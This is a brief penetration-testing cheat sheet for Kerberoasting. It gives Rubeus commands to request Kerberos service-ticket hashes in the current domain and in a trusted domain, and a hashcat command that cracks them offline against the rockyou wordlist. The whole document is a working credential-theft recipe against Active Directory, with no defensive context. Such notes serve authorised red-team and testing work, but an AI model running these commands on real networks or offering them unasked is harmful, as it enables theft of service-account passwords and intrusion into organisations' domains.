Kerberoasting

1) Within current domain

rubeus -- kerberoast /simple /nowrap

2) For a specific domain we have trust with

rubeus -- kerberoast /simple /domain:domain.com /nowrap

3) Crack hashes

hashcat -m 13100 -a 0 kerb.hashes /usr/share/wordlists/rockyou.txt -w 3 -O